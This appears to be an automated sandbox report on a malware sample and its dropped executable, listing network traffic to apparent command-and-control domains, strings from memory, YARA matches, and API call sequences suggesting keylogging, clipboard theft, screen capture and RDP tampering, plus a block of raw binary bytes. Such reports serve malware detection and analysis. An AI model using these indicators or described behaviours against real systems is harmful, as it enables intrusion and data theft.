37 b8 2a 5c b0 51 a6 6b 96 fb ee 27 23 f4 d0 04 a5 0c 50 95 84 0f 9b 47 8f 5b 48 3b 2a bb f4 f8 7d 94 68 ed 84 fa fd 02 9b 9e ae f0 7d 19 69 b4 c0 78 83 f0 ef 95 a1 21 73 56 4e d7 8b 38 9a ed e1 e8 8f 47 a6 26 5f 23 ea 1f c9 5d 4a c2 09 00 e3 5f 67 5d 15 a9 47 b3 f4 9d ca 98 2c 66 Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+||x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=|z<2A <=T(t-jK<z>Uu>a"-,7*\Qk'#PG[H;*}h}ix!sVN8G&_#]J_g]G,f

Source: global traffic	HTTP traffic detected: GET /4/long.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: global traffic	DNS traffic detected: DNS query: web.ad87h92j.com
Source: global traffic	DNS traffic detected: DNS query: cacer.goldenh0ur.com
Source: global traffic	DNS traffic detected: DNS query: mvc.withoutyou5.com

Source: unknown

HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: cacer.goldenh0ur.com

Source: pXm5oVO3Go.exe	String found in binary or memory: http://api.jumpw.com/Announcement.html?gameid=
Source: pXm5oVO3Go.exe	String found in binary or memory: http://api.jumpw.com/Announcement.html?gameid=&channel=Receive
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: pXm5oVO3Go.exe	String found in binary or memory: http://sdk.jumpw.com/sdk/AdPodxt
Source: pXm5oVO3Go.exe	String found in binary or memory: http://sdk.jumpw.com/sdk/AdPodxtbgImageCustombtnNumbtn%dXbtn%dYbtn%dImgbtn%dTipbtn%dUrlPrgBgImagePrg
Source: pXm5oVO3Go.exe, 00000000.00000003.2425129747.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/d.bmp
Source: pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp
Source: pXm5oVO3Go.exe, 00000000.00000002.2607465446.000000000019D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmp
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmpE=H
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmpF
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/t.bmp
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/t.bmpP
Source: pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/t.bmpmp
Source: pXm5oVO3Go.exe, 00000000.00000003.2404109033.000000000086F000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2404040552.000000000086E000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2425205703.000000000086F000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2425129747.000000000086E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/text.bmp
Source: pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/text.bmpC:
Source: libcef.dll.0.dr	String found in binary or memory: http://www.astro.com/swisseph.
Source: DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htm
Source: pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htmMain
Source: DAPIjX8.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: libcef.dll.0.dr	String found in binary or memory: http://www.gnu.org
Source: pXm5oVO3Go.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: pXm5oVO3Go.exe	String found in binary or memory: http://www.openssl.org/support/faq.html....................
Source: DAPIjX8.exe, 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep
Source: pXm5oVO3Go.exe	String found in binary or memory: https://300.jumpw.com/Activity/cdn/300hero/tojmp/accesstojmp.json
Source: pXm5oVO3Go.exe	String found in binary or memory: https://300.jumpw.com/Activity/cdn/300hero/tojmp/testtojmp.json
Source: pXm5oVO3Go.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.html
Source: pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.htmlPostScript
Source: pXm5oVO3Go.exe	String found in binary or memory: https://laosiji.swjoy.com/client/api/3172/qr_code.do
Source: pXm5oVO3Go.exe	String found in binary or memory: https://laosiji.swjoy.com/client/api/3172/qr_code.dohttps://laosiji.swjoy.com/client/api/3524/qr_cod
Source: pXm5oVO3Go.exe	String found in binary or memory: https://laosiji.swjoy.com/client/api/3524/qr_code.do
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/-
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/6
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/U
Source: DAPIjX8.exe, 00000009.00000003.2835899023.0000000001603000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3245993542.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettask
Source: DAPIjX8.exe, 00000009.00000003.2743921387.0000000001603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettask4X
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskW
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskb
Source: DAPIjX8.exe, 00000009.00000003.2650399121.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskson
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/d
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/fmB
Source: DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/it$
Source: DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettask
Source: DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettask32=C:
Source: DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettaskin
Source: pXm5oVO3Go.exe	String found in binary or memory: https://passport.jumpw.com/OtherGameUserLogin/CheckGameLogin.jsp?co=10139.https://passport.jumpw.com
Source: DAPIjX8.exe, 00000009.00000002.3244823714.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000A.00000002.2726111306.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000B.00000002.2806197060.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.ubi.com/
Source: DAPIjX8.exe, 00000009.00000002.3244823714.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000A.00000002.2726111306.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000B.00000002.2806197060.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired
Source: DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: https://www.geonames.org/
Source: pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	String found in binary or memory: https://www.geonames.org/Timezone

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 104.21.17.45:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49725 version: TLS 1.2

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_6C691BA1 GetDeviceCaps,LoadCursorA,SetCursor,_memset,SelectObject,BeginPaint,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SetWindowOrgEx,SetWindowExtEx,SetBkMode,CreateFontA,SelectObject,_sprintf,DeleteObject,SelectObject,DeleteObject,BitBlt,SelectObject,DeleteObject,DeleteDC,EndPaint,SetCursor,PostMessageA,_lopen,_llseek,GlobalAlloc,GlobalLock,GlobalLock,_llseek,_hread,_lclose,_sprintf,_sprintf,GlobalUnlock,GlobalUnlock,OpenClipboard,EmptyClipboard,RegisterClipboardFormatA,GlobalLock,SetMetaFileBitsEx,GlobalUnlock,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

9_2_6C691BA1

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0332A024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,GlobalUnWire,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalFix,CloseClipboard,	9_2_0332A024
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03323DE6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,GlobalUnWire,SetClipboardData,CloseClipboard,	9_2_03323DE6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1002C000 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,GlobalUnWire,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalFix,CloseClipboard,	9_2_1002C000
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10025B70 SetEvent,GetSystemMetrics,BlockInput,OpenClipboard,GetClipboardData,GlobalFix,GlobalUnWire,CloseClipboard,GlobalSize,GlobalUnWire,CloseClipboard,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,GlobalUnWire,SetClipboardData,CloseClipboard,	9_2_10025B70

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_0332A024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,GlobalUnWire,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalFix,CloseClipboard,

9_2_0332A024

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_0332CB04 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,GetTopWindow,GetWindow,GetWindow,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,SetStretchBltMode,StretchBlt,DeleteObject,DeleteDC,GetDIBits,DeleteObject,ReleaseDC,DeleteDC,

9_2_0332CB04

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03326A54 Sleep,CreateMutexA,GetLastError,CloseHandle,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateFileMappingA,Sleep,GetForegroundWindow,GetWindowTextA,lstrlen,GetLocalTime,wsprintfA,GetAsyncKeyState,lstrcat,Sleep,ReleaseMutex,

9_2_03326A54

E-Banking Fraud

Checks if browser processes are running

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: SHGetFolderPathA,lstrcpy,CreateFileA,GetFileSize,ReadFile,_strstr,_strstr,_strstr,lstrcpy,lstrcpy,lstrcpy,CreateProcessA,CloseHandle, firefox.exe		9_2_0332B744
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: SHGetFolderPathA,lstrcpy,CreateFileA,GetFileSize,ReadFile,_strstr,_strstr,_strstr,lstrcpy,lstrcpy,lstrcpy,CreateProcessA,CloseHandle, firefox.exe		9_2_1002D720

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A8C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		9_2_6C6A8C7D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A8C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		10_2_6C6A8C7D

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_0332D124 OpenDesktopA,CreateDesktopA,SetThreadDesktop,CreateThread,WaitForSingleObject,CloseHandle,

9_2_0332D124

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.DAPIjX8.exe.32fec24.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 9.2.DAPIjX8.exe.31d9c24.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 9.2.DAPIjX8.exe.31d9c24.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 9.2.DAPIjX8.exe.32fec24.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen

Drops password protected ZIP file

Source: t3d.tmp.0.dr	Zip Entry: encrypted
Source: t3d.tmp.0.dr	Zip Entry: encrypted
Source: t3d.tmp.0.dr	Zip Entry: encrypted

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03328236 LocalAlloc,OpenSCManagerA,OpenServiceA,GetLastError,QueryServiceStatus,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

9_2_03328236

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033161F4 ExitWindowsEx,		9_2_033161F4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100181D0 ExitWindowsEx,		9_2_100181D0

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_004230A0	0_2_004230A0
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00669917	0_2_00669917
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0040FBE0	0_2_0040FBE0
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0040FCFC	0_2_0040FCFC
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0040F550	0_2_0040F550
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00641D87	0_2_00641D87
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00406620	0_2_00406620
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_00669EF4	0_2_00669EF4
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03640031	0_2_03640031
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03655264	0_2_03655264
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_0364C144	0_2_0364C144
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_036557B5	0_2_036557B5
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03647680	0_2_03647680
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03654D13	0_2_03654D13
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03656DF6	0_2_03656DF6
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03646CE5	0_2_03646CE5
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10008BDA	0_2_10008BDA
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_1000C140	0_2_1000C140
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10015260	0_2_10015260
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10006CE1	0_2_10006CE1
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_100064E1	0_2_100064E1
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10014D0F	0_2_10014D0F
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10016DF2	0_2_10016DF2
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_1000767C	0_2_1000767C
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_100157B1	0_2_100157B1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C675835	9_2_6C675835
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C631112	9_2_6C631112
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C639CCA	9_2_6C639CCA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B9CC5	9_2_6C6B9CC5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D1CD1	9_2_6C6D1CD1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C699D7B	9_2_6C699D7B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6ABD48	9_2_6C6ABD48
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6C6D46	9_2_6C6C6D46
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C64CD32	9_2_6C64CD32
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6C1D12	9_2_6C6C1D12
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C68EDF5	9_2_6C68EDF5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C67BDD0	9_2_6C67BDD0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C68DD8F	9_2_6C68DD8F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D8E6E	9_2_6C6D8E6E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C638E60	9_2_6C638E60
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A3E4C	9_2_6C6A3E4C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A9E12	9_2_6C6A9E12
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C64AED7	9_2_6C64AED7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6C7F37	9_2_6C6C7F37
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C64DF3F	9_2_6C64DF3F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C64BFD7	9_2_6C64BFD7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C64387C	9_2_6C64387C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C656973	9_2_6C656973
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D1933	9_2_6C6D1933
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B99C6	9_2_6C6B99C6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6BB9D7	9_2_6C6BB9D7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6709DA	9_2_6C6709DA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B5990	9_2_6C6B5990
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6BCAA5	9_2_6C6BCAA5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C63EBF4	9_2_6C63EBF4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A0BCC	9_2_6C6A0BCC
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C647BAA	9_2_6C647BAA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C645BBD	9_2_6C645BBD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C63B41A	9_2_6C63B41A
